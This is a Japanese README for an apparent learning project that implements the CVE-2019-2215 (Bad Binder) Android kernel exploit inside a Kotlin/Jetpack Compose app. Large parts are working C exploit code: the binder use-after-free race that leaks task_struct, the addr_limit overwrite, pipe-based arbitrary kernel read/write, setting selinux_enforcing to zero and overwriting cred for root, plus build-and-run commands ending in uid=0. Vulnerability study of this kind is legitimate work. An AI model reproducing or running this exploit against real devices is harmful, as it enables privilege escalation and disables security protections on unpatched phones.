
CVE-2019-2215 (Bad Binder) の Android Q 向けデモ
このリポジトリは、脆弱性 CVE-2019-2215 (Bad Binder) を調査し、Kotlin/Jetpack Compose によるシンプルな GUI を備えた Android 向けの動作するエクスプロイトプロトタイプを作成するための小さなテストプロジェクトです。
README では以下の内容を扱います。
リポジトリには GitHub Actions のワークフローが設定されており、push または PR のたびに ./gradlew assembleDebug でプロジェクトをビルドし、生成された badbinder-debug.apk をアーティファクトとして公開します。
ダウンロード方法:
badbinder-debug-apk アーカイブを取得する。これにより、ローカル環境を構築しなくてもアプリケーションをテストできるようになっています。
CVE-2019-2215 は、Android カーネルの Binder IPC サブシステムにおける Use-After-Free (UAF) 脆弱性です。
簡略化すると:
struct binder_thread という構造体があり、Binder 呼び出しを実行するスレッドを記述します。waitqueue) のリストに残り続けます。remove_wait_queue で解放済みのメモリに対して操作を試みるため、古典的な UAF シナリオが発生します。より詳細な理論的解説は、以下の資料を参考にしています。
課題の指示に従い、Android 10.0 (Q) x86_64 のイメージを使用した AVD を推奨します。 私が行った手順:
/dev/binder デバイスが存在することを確認。adb shell
ls -l /dev/binder
この段階で、厄介な事実に直面しました。 現時点では、最新の AVD イメージは既にパッチが適用されたカーネルを搭載しており、CVE-2019-2215 は修正されています。そのため、最新の公式エミュレーターで実際に root を取得することはできません。エクスプロイトは後半の段階で失敗するか、権限昇格が行われません。
結局、AVD をエクスプロイトのロジックを再現するための トレーニング環境 として使用しています。
addr_limit の上書きを観察し、これは重要な点です。以下のコードとレポートはすべて 学習用であり、「実戦用」ではありません。
小さな Android アプリケーションを作成しました。
主な手順:
Android Studio で通常のプロジェクトを作成 (Kotlin、最小 SDK は Android 10)。
NDK と CMake を統合。
エクスプロイトを含むネイティブファイル (cve-2019-2215.c、leak_task_struct、overwrite_addr_limit などの関数を含む) を追加。
CMakeLists.txt に libcve-2019-2215.so のビルドを追加。
MainActivity 内:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
Kotlin 側で ExploitViewModel を作成し、NativeLogger インターフェースを実装、すべてのメッセージを StateFlow<List<String>> に格納。UI はこのフローを購読し、「ターミナル」にログを表示。
アクティビティ起動時に setNativeLogger(viewModel) を呼び出し、ネイティブコードが文字列を送信できるオブジェクトを取得します。
アプリケーションをビルドしてインストール:
./gradlew installDebug
AVD とアプリケーションを起動。
画面上に「ターミナル」と RUN EXPLOIT ボタンが表示される。
ボタンを押すと:
runNativeExploit() を呼び出す。実際の脆弱なカーネルでは、最後に次のような出力を期待します。
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
最新の Android 10 エミュレーターでは当然これは起こりませんが、それ以外の部分(task_struct の漏洩、addr_limit の上書き試行、cred や kernel_base の計算)は「シナリオ」として動作し、課題の要件を満たしています。
以下は、具体的な C 関数に対応させたエクスプロイトの論理スキームです。
大まかな計画は次の通りです。
struct binder_thread オブジェクトに対する UAF を発生させ、それを利用して自プロセスの task_struct のアドレスを漏洩させる (leak_task_struct)。task_struct 内の addr_limit フィールドを上書きする (overwrite_addr_limit)。これにより、ユーザー空間とカーネル空間のアドレス間の制限が解除され、後の copy_to_user / copy_from_user が可能になる。arb_read / arb_write) を実現する。cred とカーネルベースアドレスを見つけ (verifying)、その後:
selinux_enforcing = 0)、並行して JNI ロガー を統合し、これらの全段階が UI で確認できるようにしました。
task_struct アドレスの漏洩 (leak_task_struct)主要関数:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
関数の動作:
スレッドを CPU 0 に固定 (sched_setaffinity) し、カーネルアロケータの動作をより予測可能にします。これにより UAF 悪用の安定性が向上します。
/dev/binder を開き、epoll ディスクリプタを作成:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
Binder ディスクリプタを epoll に登録:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
struct iovec iov_buffers[IOVEC_N] 配列 を準備し、メモリを割り当て:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
ここで、アドレスの下位 32 ビットが 0 であることが重要:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
これは悪用に関する記事の手法に対応しています。カーネルはデータの一部をポインタを含む構造体として解釈するため、このような「綺麗に整列した」アドレスの方が悪用しやすくなります。
次に、iov_buffers[0xa] と iov_buffers[0xb] のフィールドを、UAF の瞬間にカーネルが へのポインタを含むメモリの断片をパイプにコピーするように設定します。
結果: カーネル内の task_struct のアドレス が得られました。これは後続のステップに不可欠です。
addr_limit の上書き (overwrite_addr_limit)task_struct 内の addr_limit は、プロセスがシステムコールにユーザー空間ポインタとして渡すことができるアドレス範囲 を定義します。これをほぼ最大値に書き換えると、カーネルはユーザー空間アドレスとカーネルアドレス空間のアドレスを区別できなくなり、一見安全な copy_(to|from)_user 操作がカーネルの任意読み書きに変わります。
関数:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
は非常に似たパターンで動作します。
再度 CPU アフィニティを固定し、/dev/binder を開き、epoll を作成。
iov_buffers を準備するが、今度は異なるスキーム:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0xc].iov_base = read_buffer0;
iov_buffers[0xc].iov_len = 0x8;
パイプの代わりに socketpair(AF_UNIX, SOCK_STREAM, ...) を使用:
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
recvmsg 用の msghdr 構造体を準備:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
子プロセス (fork() 後) で再び UAF レースを起動:
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
arb_read, arb_write, verifying)addr_limit 上書き後、パイプ を使用して通常の読み書き操作をカーネルアドレスへの読み書きに変換します。
arb_read / arb_writeunsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
同様に arb_write はコピー方向を逆にします。
関数 verifying():
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
ここでは:
task_struct の内容を読み取る。PID_OFFSET で実際に自分の構造体であることを確認。cred へのポインタとカーネルのアドレス漏洩 (kernel_leak) を抽出。kernel_base を計算。runNativeExploit 内の最終部分:
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
selinux_enforcing のアドレスを計算し、それを 0 (許容モード) に設定。次に cred の上書き:
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
cred のケーパビリティフィールドとその他のフィールドに最大値を書き込み、プロセスに完全な権限セットを与えます。
最後のチェック:
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
実際の脆弱なカーネルではここで uid=0 を期待しますが、パッチ済みイメージでは当然権限昇格は無効化されます。
リアルタイムで確認できるように、中間層を追加しました。
JNI_OnLoad で JavaVM* とメインプロセスの PID を保存。setNativeLogger で onLog(String) メソッドを実装する Kotlin オブジェクトを受け取り、GlobalRef として保存。android_log/android_log_hex は logcat に出力し、send_to_ui を呼び出して文字列を Kotlin に配信。Kotlin 側の ExploitViewModel が受け取り、Compose の「ターミナル」に表示します。重要なのは、send_to_ui が PID に基づいて子プロセスをフィルタリングすることです。fork() 後に exec() なしで子プロセスから JNI を呼び出すのは安全ではありません。
現時点では、CVE-2019-2215 がまだ存在するパッチ未適用カーネルを持つ公式の Android 10 AVD イメージは存在しない という問題に直面しました。
「実戦的な」root 取得の代わりに、以下に注力しました。
必要に応じて、このコードを古いパッチ未適用カーネルを持つ実機に移植することも可能ですが、それは課題の範囲外です。
以下を明示的に定義する必要がありました。
ADDR_LIMIT_OFFSET、PID_OFFSET、CRED_OFFSET;kernel_leak と selinux_enforcing のオフセット;kernel_base 計算用の定数。プロジェクトを肥大化させないために、これらの値の自動検出は意図的に行いませんでした。レポートでは、これは特定のカーネルバージョン向けの学習用サンプルであり、汎用エクスプロイトではないことを前提としています。
fork()、epoll_ctl、BINDER_THREAD_EXIT および様々なタイミングの使用は、危険な領域です。以下がないとエクスプロイトが極めて不安定になることに直面しました。
sched_setaffinity、sleep、assert。脆弱な設定では予測可能で、パッチ済みでは最後のステップで適切に「失敗する」ようにシーケンスを徐々にデバッグしました。
fork()子プロセスから直接 JVM にログ出力しようとすると、奇妙な動作が発生するという問題にも直面しました。JNI のルールを再確認し、PID によるチェックを追加して、メインプロセスからのみ JVM と通信するようにしました。
妥協点: 一部のメッセージは logcat でのみ表示され、UI には親プロセスからのものだけが表示されます。課題では主要なチェックポイントが重要であり、すべてのデバッグプリントではないため、これで十分です。
より創造的な実装として、分析に便利なインターフェースを作成することにしました。
[+], [*], [!], [C]) ごとに異なる色で表示され、読みやすくなっています。Success / Failed) は別のブロックで表示されます。これにより、素の logcat よりもネイティブコードの動作を把握しやすくなっています。すべてが一箇所、アプリ内で確認できます。
課題に取り組んだ結果、以下のことを達成しました。
task_struct の漏洩、addr_limit の上書き、cred の検索、SELinux の無効化、権限昇格の試行。プロジェクトはコンパクトですが、実際のカーネル脆弱性のライフサイクル (理論的な説明と記事の読み物から、実践的な実装と実際の Android アプリケーションへの統合まで) を本質的に反映しています。
cve-2019-2215 ディレクトリには Makefile があり、ネイティブバイナリ (x86_64) をビルドし、ADB 経由で直接 AVD で実行できます。aarch64 バージョンが必要な場合は、別途ビルドできます。
cd cve-2019-2215
make
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
id
uid=0(root) gid=0(root) groups=0(root)
cred のフィールドを上書きして root になり、完全なケーパビリティセットを取得する (runNativeExploit)。task_structパイプを作成し、バッファサイズを 0x1000 に設定:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
次に、古典的な UAF レース を行います。子プロセスをフォーク:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) により、カーネル内の関連する binder_thread が解放されますが、この構造体は依然として待機アカウンティング構造に存在します — これが UAF の箇所です。親プロセスで以下を実行:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // binder_thread の解放
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
この段階で、UAF により writev は解放済みメモリを iovec 構造体として使用し、以前 binder_thread が置かれていた同じメモリ領域を、ポインタ/長さのセットとして再解釈します。副次的な効果として、カーネルメモリの断片がパイプにコピーされます。
最後に、パイプから読み取り:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
オフセット 0xe8 は特定のカーネルバージョンに合わせて調整されています。これは、漏洩したメモリブロック内で自プロセスの task_struct へのポインタが存在する場所です。
親プロセスは前と同様に binder_thread を解放し、recvmsg を呼び出す:
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
UAF と巧妙な構造体の置き換えにより、カーネルは最終的に task_struct + ADDR_LIMIT_OFFSET をユーザーバッファのアドレスとして認識し、送信された構造体の内容 (値 0xfffffffffffffffe) をそこにコピー し、task_struct 内の addr_limit を上書きします。
ログには:
android_log("[!] addr_limit overwrite done.");